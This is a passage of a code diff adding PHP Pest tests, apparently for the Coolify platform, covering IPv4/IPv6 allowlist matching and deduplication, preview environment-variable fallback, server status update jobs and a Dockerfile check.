expect(checkIPAgainstAllowlist('2002::1', ['2001::/16']))->toBeFalse();
|
||||
});
|
||||
|
||||
test('IP allowlist with bare IPv6 addresses', function () {
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1']))->toBeFalse();
|
||||
expect(checkIPAgainstAllowlist('::1', ['::1']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('::1', ['::2']))->toBeFalse();
|
||||
});
|
||||
|
||||
test('IP allowlist with IPv6 CIDR notation', function () {
|
||||
// /64 prefix — issue #8729 exact case
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::1', ['2a01:e0a:21d:8230::/64']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230:abcd:ef01:2345:6789', ['2a01:e0a:21d:8230::/64']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', ['2a01:e0a:21d:8230::/64']))->toBeFalse();
|
||||
|
||||
// /128 — single host
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse();
|
||||
|
||||
// /48 prefix
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse();
|
||||
});
|
||||
|
||||
test('IP allowlist with mixed IPv4 and IPv6', function () {
|
||||
$allowlist = ['192.168.1.100', '10.0.0.0/8', '2a01:e0a:21d:8230::/64'];
|
||||
|
||||
expect(checkIPAgainstAllowlist('192.168.1.100', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('10.5.5.5', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::cafe', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', $allowlist))->toBeFalse();
|
||||
expect(checkIPAgainstAllowlist('8.8.8.8', $allowlist))->toBeFalse();
|
||||
});
|
||||
|
||||
test('IP allowlist handles invalid IPv6 masks', function () {
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/129']))->toBeFalse(); // mask > 128
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/-1']))->toBeFalse(); // negative mask
|
||||
});
|
||||
|
||||
test('IP allowlist comma-separated string input', function () {
|
||||
// Test with comma-separated string (as it would come from the settings)
|
||||
$allowlistString = '192.168.1.100,10.0.0.0/8,172.16.0.0/16';
|
||||
@@ -134,14 +216,21 @@ test('ValidIpOrCidr validation rule', function () {
|
||||
// Valid cases - should pass
|
||||
expect($validate(''))->toBeTrue(); // Empty is allowed
|
||||
expect($validate('0.0.0.0'))->toBeTrue(); // 0.0.0.0 is allowed
|
||||
expect($validate('192.168.1.1'))->toBeTrue(); // Valid IP
|
||||
expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid CIDR
|
||||
expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid CIDR
|
||||
expect($validate('192.168.1.1'))->toBeTrue(); // Valid IPv4
|
||||
expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid IPv4 CIDR
|
||||
expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid IPv4 CIDR
|
||||
expect($validate('192.168.1.1,10.0.0.1'))->toBeTrue(); // Multiple valid IPs
|
||||
expect($validate('192.168.1.0/24,10.0.0.0/8'))->toBeTrue(); // Multiple CIDRs
|
||||
expect($validate('0.0.0.0/0'))->toBeTrue(); // 0.0.0.0 with subnet
|
||||
expect($validate('0.0.0.0/24'))->toBeTrue(); // 0.0.0.0 with any subnet
|
||||
expect($validate(' 192.168.1.1 '))->toBeTrue(); // With spaces
|
||||
// IPv6 valid cases — issue #8729
|
||||
expect($validate('2001:db8::1'))->toBeTrue(); // Valid bare IPv6
|
||||
expect($validate('::1'))->toBeTrue(); // Loopback IPv6
|
||||
expect($validate('2a01:e0a:21d:8230::/64'))->toBeTrue(); // IPv6 /64 CIDR
|
||||
expect($validate('2001:db8::/48'))->toBeTrue(); // IPv6 /48 CIDR
|
||||
expect($validate('2001:db8::1/128'))->toBeTrue(); // IPv6 /128 CIDR
|
||||
expect($validate('192.168.1.1,2a01:e0a:21d:8230::/64'))->toBeTrue(); // Mixed IPv4 + IPv6 CIDR
|
||||
|
||||
// Invalid cases - should fail
|
||||
expect($validate('1'))->toBeFalse(); // Single digit
|
||||
@@ -155,6 +244,7 @@ test('ValidIpOrCidr validation rule', function () {
|
||||
expect($validate('not.an.ip.address'))->toBeFalse(); // Invalid format
|
||||
expect($validate('192.168'))->toBeFalse(); // Incomplete IP
|
||||
expect($validate('192.168.1.1.1'))->toBeFalse(); // Too many octets
|
||||
expect($validate('2001:db8::/129'))->toBeFalse(); // IPv6 mask > 128
|
||||
});
|
||||
|
||||
test('ValidIpOrCidr validation rule error messages', function () {
|
||||
@@ -181,3 +271,111 @@ test('ValidIpOrCidr validation rule error messages', function () {
|
||||
expect($error)->toContain('10.0.0.256');
|
||||
expect($error)->not->toContain('192.168.1.1'); // Valid IP should not be in error
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist removes bare IPv4 covered by various subnets', function () {
|
||||
// /24
|
||||
expect(deduplicateAllowlist(['192.168.1.5', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
|
||||
// /16
|
||||
expect(deduplicateAllowlist(['172.16.5.10', '172.16.0.0/16']))->toBe(['172.16.0.0/16']);
|
||||
// /8
|
||||
expect(deduplicateAllowlist(['10.50.100.200', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
// /32 — same host, first entry wins (both equivalent)
|
||||
expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1/32']))->toBe(['192.168.1.1']);
|
||||
// /31 — point-to-point
|
||||
expect(deduplicateAllowlist(['192.168.1.0', '192.168.1.0/31']))->toBe(['192.168.1.0/31']);
|
||||
// IP outside subnet — both preserved
|
||||
expect(deduplicateAllowlist(['172.17.0.1', '172.16.0.0/16']))->toBe(['172.17.0.1', '172.16.0.0/16']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist removes narrow IPv4 CIDR covered by broader CIDR', function () {
|
||||
// /32 inside /24
|
||||
expect(deduplicateAllowlist(['192.168.1.1/32', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
|
||||
// /25 inside /24
|
||||
expect(deduplicateAllowlist(['192.168.1.0/25', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
|
||||
// /24 inside /16
|
||||
expect(deduplicateAllowlist(['192.168.1.0/24', '192.168.0.0/16']))->toBe(['192.168.0.0/16']);
|
||||
// /16 inside /12
|
||||
expect(deduplicateAllowlist(['172.16.0.0/16', '172.16.0.0/12']))->toBe(['172.16.0.0/12']);
|
||||
// /16 inside /8
|
||||
expect(deduplicateAllowlist(['10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
// /24 inside /8
|
||||
expect(deduplicateAllowlist(['10.1.2.0/24', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
// /12 inside /8
|
||||
expect(deduplicateAllowlist(['172.16.0.0/12', '172.0.0.0/8']))->toBe(['172.0.0.0/8']);
|
||||
// /31 inside /24
|
||||
expect(deduplicateAllowlist(['192.168.1.0/31', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
|
||||
// Non-overlapping CIDRs — both preserved
|
||||
expect(deduplicateAllowlist(['192.168.1.0/24', '10.0.0.0/8']))->toBe(['192.168.1.0/24', '10.0.0.0/8']);
|
||||
expect(deduplicateAllowlist(['172.16.0.0/16', '192.168.0.0/16']))->toBe(['172.16.0.0/16', '192.168.0.0/16']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist removes bare IPv6 covered by various prefixes', function () {
|
||||
// /64 — issue #8729 exact scenario
|
||||
expect(deduplicateAllowlist(['2a01:e0a:21d:8230::', '127.0.0.1', '2a01:e0a:21d:8230::/64']))
|
||||
->toBe(['127.0.0.1', '2a01:e0a:21d:8230::/64']);
|
||||
// /48
|
||||
expect(deduplicateAllowlist(['2001:db8:1234::1', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']);
|
||||
// /128 — same host, first entry wins (both equivalent)
|
||||
expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1/128']))->toBe(['2001:db8::1']);
|
||||
// IP outside prefix — both preserved
|
||||
expect(deduplicateAllowlist(['2001:db8:1235::1', '2001:db8:1234::/48']))
|
||||
->toBe(['2001:db8:1235::1', '2001:db8:1234::/48']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist removes narrow IPv6 CIDR covered by broader prefix', function () {
|
||||
// /128 inside /64
|
||||
expect(deduplicateAllowlist(['2a01:e0a:21d:8230::5/128', '2a01:e0a:21d:8230::/64']))->toBe(['2a01:e0a:21d:8230::/64']);
|
||||
// /127 inside /64
|
||||
expect(deduplicateAllowlist(['2001:db8:1234:5678::/127', '2001:db8:1234:5678::/64']))->toBe(['2001:db8:1234:5678::/64']);
|
||||
// /64 inside /48
|
||||
expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']);
|
||||
// /48 inside /32
|
||||
expect(deduplicateAllowlist(['2001:db8:abcd::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']);
|
||||
// /32 inside /16
|
||||
expect(deduplicateAllowlist(['2001:db8::/32', '2001::/16']))->toBe(['2001::/16']);
|
||||
// /64 inside /32
|
||||
expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8::/32']))->toBe(['2001:db8::/32']);
|
||||
// Non-overlapping IPv6 — both preserved
|
||||
expect(deduplicateAllowlist(['2001:db8::/32', 'fd00::/8']))->toBe(['2001:db8::/32', 'fd00::/8']);
|
||||
expect(deduplicateAllowlist(['2001:db8:1234::/48', '2001:db8:5678::/48']))->toBe(['2001:db8:1234::/48', '2001:db8:5678::/48']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist mixed IPv4 and IPv6 subnets', function () {
|
||||
$result = deduplicateAllowlist([
|
||||
'192.168.1.5', // covered by 192.168.0.0/16
|
||||
'192.168.0.0/16',
|
||||
'2a01:e0a:21d:8230::1', // covered by ::/64
|
||||
'2a01:e0a:21d:8230::/64',
|
||||
'10.0.0.1', // not covered by anything
|
||||
'::1', // not covered by anything
|
||||
]);
|
||||
expect($result)->toBe(['192.168.0.0/16', '2a01:e0a:21d:8230::/64', '10.0.0.1', '::1']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist preserves non-overlapping entries', function () {
|
||||
$result = deduplicateAllowlist(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']);
|
||||
expect($result)->toBe(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist handles exact duplicates', function () {
|
||||
expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1']))->toBe(['192.168.1.1']);
|
||||
expect(deduplicateAllowlist(['10.0.0.0/8', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1']))->toBe(['2001:db8::1']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist handles single entry and empty array', function () {
|
||||
expect(deduplicateAllowlist(['10.0.0.1']))->toBe(['10.0.0.1']);
|
||||
expect(deduplicateAllowlist([]))->toBe([]);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist with 0.0.0.0 removes everything else', function () {
|
||||
$result = deduplicateAllowlist(['192.168.1.1', '0.0.0.0', '10.0.0.0/8']);
|
||||
expect($result)->toBe(['0.0.0.0']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist multiple nested CIDRs keeps only broadest', function () {
|
||||
// IPv4: three levels of nesting
|
||||
expect(deduplicateAllowlist(['10.1.2.0/24', '10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
// IPv6: three levels of nesting
|
||||
expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']);
|
||||
});
|
||||
@@ -0,0 +1,247 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
});
|
||||
|
||||
/**
|
||||
* Simulate the preview .env generation logic from
|
||||
* ApplicationDeploymentJob::generate_runtime_environment_variables()
|
||||
* including the production fallback fix.
|
||||
*/
|
||||
function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection
|
||||
{
|
||||
$sorted_environment_variables = $application->environment_variables->sortBy('id');
|
||||
$sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id');
|
||||
|
||||
$envs = collect([]);
|
||||
|
||||
// Preview vars
|
||||
$runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime);
|
||||
foreach ($runtime_environment_variables_preview as $env) {
|
||||
$envs->push($env->key.'='.$env->real_value);
|
||||
}
|
||||
|
||||
// Fallback: production vars not overridden by preview,
|
||||
// only when preview vars are configured
|
||||
if ($runtime_environment_variables_preview->isNotEmpty()) {
|
||||
$previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray();
|
||||
$fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) {
|
||||
return $env->is_runtime && ! in_array($env->key, $previewKeys);
|
||||
});
|
||||
foreach ($fallback_production_vars as $env) {
|
||||
$envs->push($env->key.'='.$env->real_value);
|
||||
}
|
||||
}
|
||||
|
||||
return $envs;
|
||||
}
|
||||
|
||||
test('production vars fall back when preview vars exist but do not cover all keys', function () {
|
||||
// Create two production vars (booted hook auto-creates preview copies)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'APP_KEY',
|
||||
'value' => 'app_key_value',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains
|
||||
$this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
// Preview has APP_KEY but not DB_PASSWORD
|
||||
expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1);
|
||||
expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0);
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
// DB_PASSWORD should fall back from production
|
||||
expect($envString)->toContain('DB_PASSWORD=');
|
||||
// APP_KEY should use the preview value
|
||||
expect($envString)->toContain('APP_KEY=');
|
||||
});
|
||||
|
||||
test('no fallback when no preview vars are configured at all', function () {
|
||||
// Create a production-only var (booted hook auto-creates preview copy)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete ALL preview copies — simulates no preview config
|
||||
$this->application->environment_variables_preview()->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
expect($this->application->environment_variables_preview()->count())->toBe(0);
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
// Should NOT fall back to production when no preview vars exist
|
||||
expect($envString)->not->toContain('DB_PASSWORD=');
|
||||
});
|
||||
|
||||
test('preview var overrides production var when both exist', function () {
|
||||
// Create production var (auto-creates preview copy)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'prod_password',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Update the auto-created preview copy with a different value
|
||||
$this->application->environment_variables_preview()
|
||||
->where('key', 'DB_PASSWORD')
|
||||
->update(['value' => encrypt('preview_password')]);
|
||||
|
||||
$this->application->refresh();
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
// Should contain preview value only, not production
|
||||
$envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD='));
|
||||
expect($envEntries)->toHaveCount(1);
|
||||
expect($envEntries->first())->toContain('preview_password');
|
||||
});
|
||||
|
||||
test('preview-only var works without production counterpart', function () {
|
||||
// Create a preview-only var directly (no production counterpart)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'PREVIEW_ONLY_VAR',
|
||||
'value' => 'preview_value',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$this->application->refresh();
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
expect($envString)->toContain('PREVIEW_ONLY_VAR=');
|
||||
});
|
||||
|
||||
test('buildtime-only production vars are not included in preview fallback', function () {
|
||||
// Create a runtime preview var so fallback is active
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'SOME_PREVIEW_VAR',
|
||||
'value' => 'preview_value',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Create a buildtime-only production var
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'BUILD_SECRET',
|
||||
'value' => 'build_only',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete the auto-created preview copy of BUILD_SECRET
|
||||
$this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
expect($envString)->not->toContain('BUILD_SECRET');
|
||||
expect($envString)->toContain('SOME_PREVIEW_VAR=');
|
||||
});
|
||||
|
||||
test('preview env var inherits is_runtime and is_buildtime from production var', function () {
|
||||
// Create production var WITH explicit flags
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
|
||||
->where('is_preview', true)
|
||||
->where('resourceable_id', $this->application->id)
|
||||
->first();
|
||||
|
||||
expect($preview)->not->toBeNull();
|
||||
expect($preview->is_runtime)->toBeTrue();
|
||||
expect($preview->is_buildtime)->toBeTrue();
|
||||
});
|
||||
|
||||
test('preview env var gets correct defaults when production var created without explicit flags', function () {
|
||||
// Simulate code paths (docker-compose parser, dev view bulk submit) that create
|
||||
// env vars without explicitly setting is_runtime/is_buildtime
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
|
||||
->where('is_preview', true)
|
||||
->where('resourceable_id', $this->application->id)
|
||||
->first();
|
||||
|
||||
expect($preview)->not->toBeNull();
|
||||
expect($preview->is_runtime)->toBeTrue();
|
||||
expect($preview->is_buildtime)->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,101 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('database last_online_at is updated when status unchanged', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'running:healthy',
|
||||
'last_online_at' => now()->subMinutes(5),
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => $database->uuid,
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => [
|
||||
'coolify.managed' => 'true',
|
||||
'coolify.type' => 'database',
|
||||
'com.docker.compose.service' => $database->uuid,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$oldLastOnline = $database->last_online_at;
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
// last_online_at should be updated even though status didn't change
|
||||
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
test('database status is updated when container status changes', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'exited',
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => $database->uuid,
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => [
|
||||
'coolify.managed' => 'true',
|
||||
'coolify.type' => 'database',
|
||||
'com.docker.compose.service' => $database->uuid,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
test('database is not marked exited when containers list is empty', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'running:healthy',
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
// Empty containers = Sentinel might have failed, should NOT mark as exited
|
||||
$data = [
|
||||
'containers' => [],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
// Status should remain running, NOT be set to exited
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ConnectProxyToNetworksJob;
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Jobs\ServerStorageCheckJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Queue::fake();
|
||||
Cache::flush();
|
||||
});
|
||||
|
||||
it('dispatches storage check when disk percentage changes', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$data = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 45],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id && $job->percentage === 45;
|
||||
});
|
||||
});
|
||||
|
||||
it('does not dispatch storage check when disk percentage is unchanged', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Simulate a previous push that cached the percentage
|
||||
Cache::put('storage-check:'.$server->id, 45, 600);
|
||||
|
||||
$data = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 45],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertNotPushed(ServerStorageCheckJob::class);
|
||||
});
|
||||
|
||||
it('dispatches storage check when disk percentage changes from cached value', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Simulate a previous push that cached 45%
|
||||
Cache::put('storage-check:'.$server->id, 45, 600);
|
||||
|
||||
$data = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 50],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id && $job->percentage === 50;
|
||||
});
|
||||
});
|
||||
|
||||
it('rate-limits ConnectProxyToNetworksJob dispatch to every 10 minutes', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$server->settings->update(['is_reachable' => true, 'is_usable' => true]);
|
||||
|
||||
// First push: should dispatch ConnectProxyToNetworksJob
|
||||
$containersWithProxy = [
|
||||
[
|
||||
'name' => 'coolify-proxy',
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => ['coolify.managed' => true],
|
||||
],
|
||||
];
|
||||
|
||||
$data = [
|
||||
'containers' => $containersWithProxy,
|
||||
'filesystem_usage_root' => ['used_percentage' => 10],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
|
||||
|
||||
// Second push: should NOT dispatch ConnectProxyToNetworksJob (rate-limited)
|
||||
Queue::fake();
|
||||
$job2 = new PushServerUpdateJob($server, $data);
|
||||
$job2->handle();
|
||||
|
||||
Queue::assertNotPushed(ConnectProxyToNetworksJob::class);
|
||||
});
|
||||
|
||||
it('dispatches ConnectProxyToNetworksJob again after cache expires', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$server->settings->update(['is_reachable' => true, 'is_usable' => true]);
|
||||
|
||||
$containersWithProxy = [
|
||||
[
|
||||
'name' => 'coolify-proxy',
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => ['coolify.managed' => true],
|
||||
],
|
||||
];
|
||||
|
||||
$data = [
|
||||
'containers' => $containersWithProxy,
|
||||
'filesystem_usage_root' => ['used_percentage' => 10],
|
||||
];
|
||||
|
||||
// First push
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
|
||||
|
||||
// Clear cache to simulate expiration
|
||||
Cache::forget('connect-proxy:'.$server->id);
|
||||
|
||||
// Next push: should dispatch again
|
||||
Queue::fake();
|
||||
$job2 = new PushServerUpdateJob($server, $data);
|
||||
$job2->handle();
|
||||
|
||||
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
|
||||
});
|
||||
|
||||
it('uses default queue for PushServerUpdateJob', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$job = new PushServerUpdateJob($server, ['containers' => []]);
|
||||
|
||||
expect($job->queue)->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
|
||||
it('copies the realtime terminal utilities into the container image', function () {
|
||||
$dockerfile = file_get_contents(base_path('docker/coolify-realtime/Dockerfile'));
|
||||
|
||||
expect($dockerfile)->toContain('COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js');
|
||||
});
|
||||
|
||||
it('mounts the realtime terminal utilities in local development compose files', function (string $composeFile) {
|
||||
$composeContents = file_get_contents(base_path($composeFile));
|
||||
|
||||
